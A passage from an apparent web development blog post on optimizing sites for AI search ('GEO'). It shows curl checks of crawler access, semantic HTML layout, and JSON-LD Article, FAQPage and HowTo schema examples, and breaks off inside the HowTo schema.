&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Verify AI Crawler Access
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check that robots.txt is accessible to GPTBot&lt;/span&gt;
curl &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="s2"&gt;"GPTBot"&lt;/span&gt; https://yourdomain.com/robots.txt

&lt;span class="c"&gt;# Verify PerplexityBot can reach a specific article&lt;/span&gt;
curl &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="s2"&gt;"PerplexityBot"&lt;/span&gt; https://yourdomain.com/posts/your-article/

&lt;span class="c"&gt;# Check server response time (aim for &amp;lt; 200ms for static sites)&lt;/span&gt;
curl &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{time_total}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; https://yourdomain.com/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 2. Semantic HTML Instead of Div Soup
&lt;/h2&gt;

&lt;p&gt;AI parsers read the raw HTML tree, not the rendered DOM. If your entire site is built on &lt;code&gt;&amp;lt;div class="wrapper"&amp;gt;&amp;lt;div class="inner"&amp;gt;&amp;lt;div class="content"&amp;gt;&lt;/code&gt;, the parser burns tokens on structural guesswork instead of your actual content.&lt;/p&gt;

&lt;h3&gt;
  
  
  Document Structure That AI Can Read
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
  &lt;span class="c"&gt;&amp;lt;!-- JSON-LD schema markup (details in Step 3) --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"application/ld+json"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;header&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;nav&lt;/span&gt; &lt;span class="na"&gt;aria-label=&lt;/span&gt;&lt;span class="s"&gt;"Main navigation"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/nav&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/header&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;main&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;article&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;header&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Article Title&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;  &lt;span class="c"&gt;&amp;lt;!-- One H1 per page, period --&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;time&lt;/span&gt; &lt;span class="na"&gt;datetime=&lt;/span&gt;&lt;span class="s"&gt;"2026-06-06"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;June 6, 2026&lt;span class="nt"&gt;&amp;lt;/time&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;address&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"author"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Author Name&lt;span class="nt"&gt;&amp;lt;/address&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/header&amp;gt;&lt;/span&gt;

    &lt;span class="c"&gt;&amp;lt;!-- BLUF block - the first thing AI reads --&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;section&lt;/span&gt; &lt;span class="na"&gt;aria-label=&lt;/span&gt;&lt;span class="s"&gt;"Summary"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&lt;/span&gt;Bottom line:&lt;span class="nt"&gt;&amp;lt;/strong&amp;gt;&lt;/span&gt; ...&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/section&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;section&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;First Section&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;  &lt;span class="c"&gt;&amp;lt;!-- H2, never H1 --&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&lt;/span&gt;Structured point 1&lt;span class="nt"&gt;&amp;lt;/li&amp;gt;&lt;/span&gt;  &lt;span class="c"&gt;&amp;lt;!-- &amp;lt;ul&amp;gt;/&amp;lt;ol&amp;gt; beats "• text" --&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&lt;/span&gt;Structured point 2&lt;span class="nt"&gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/section&amp;gt;&lt;/span&gt;

    &lt;span class="c"&gt;&amp;lt;!-- FAQ before closing article tag --&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;section&lt;/span&gt; &lt;span class="na"&gt;itemscope&lt;/span&gt; &lt;span class="na"&gt;itemtype=&lt;/span&gt;&lt;span class="s"&gt;"https://schema.org/FAQPage"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;FAQ&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
      ...
    &lt;span class="nt"&gt;&amp;lt;/section&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;/article&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/main&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;footer&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/footer&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What never to do:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- ❌ Div soup - AI sees "noise", not structure --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"post-wrap"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"post-inner"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"post-title"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Title&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;  &lt;span class="c"&gt;&amp;lt;!-- not H1, not H2 --&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"post-body"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"text-block"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Content...&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 3. JSON-LD Schema Markup - A Direct Signal to AI
&lt;/h2&gt;

&lt;p&gt;JSON-LD is a machine-readable description of your page, placed in &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;. Google uses it for Featured Snippets, Bing for Copilot, and through them - AI search broadly. It's the most direct signal you can send to any crawler.&lt;/p&gt;

&lt;h3&gt;
  
  
  Article Schema - for Every Blog Post
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"application/ld+json"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@context&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://schema.org&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Article&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;headline&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;GEO in 2026: How to Optimize Your Site for AI Search&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;description&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Step-by-step guide to GEO optimization for ChatGPT, Gemini, and Perplexity.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;datePublished&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;2026-06-06T10:00:00+00:00&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dateModified&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;2026-06-06T10:00:00+00:00&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;author&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Person&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Your Name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;url&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://yourdomain.com/about/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;publisher&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Organization&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Your Blog Name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;url&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://yourdomain.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;logo&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ImageObject&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;url&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://yourdomain.com/images/logo.png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mainEntityOfPage&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;WebPage&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://yourdomain.com/posts/geo-optimization-2026/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://yourdomain.com/images/geo-cover.webp&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  FAQPage Schema - the Most-Cited Markup in AI Responses
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"application/ld+json"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@context&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://schema.org&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;FAQPage&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mainEntity&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Question&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;What is GEO and how is it different from SEO?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;acceptedAnswer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Answer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;GEO (Generative Engine Optimization) is the practice of optimizing a website to be cited in AI search responses (ChatGPT, Perplexity, Gemini). Unlike SEO, which targets search engine rankings, GEO targets AI systems choosing your content as a source for synthesized answers.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Question&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Which AI bots should be allowed in robots.txt?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;acceptedAnswer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Answer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;For maximum AI search coverage, allow: GPTBot and ChatGPT-User (OpenAI), PerplexityBot (Perplexity), Google-Extended (Gemini), ClaudeBot and anthropic-ai (Anthropic), FacebookBot (Meta AI).&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  HowTo Schema - for Step-by-Step Guides
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"application/ld+json"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@context&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://schema.org&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HowTo&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;How to Optimize a Website for GEO in 2026&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;totalTime&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;PT3H&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;step&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HowToStep&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;position&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Configure robots.txt for AI crawlers&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Open /robots.txt and add Allow directives for GPTBot, PerplexityBot, Google-Extended, and ClaudeBot.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
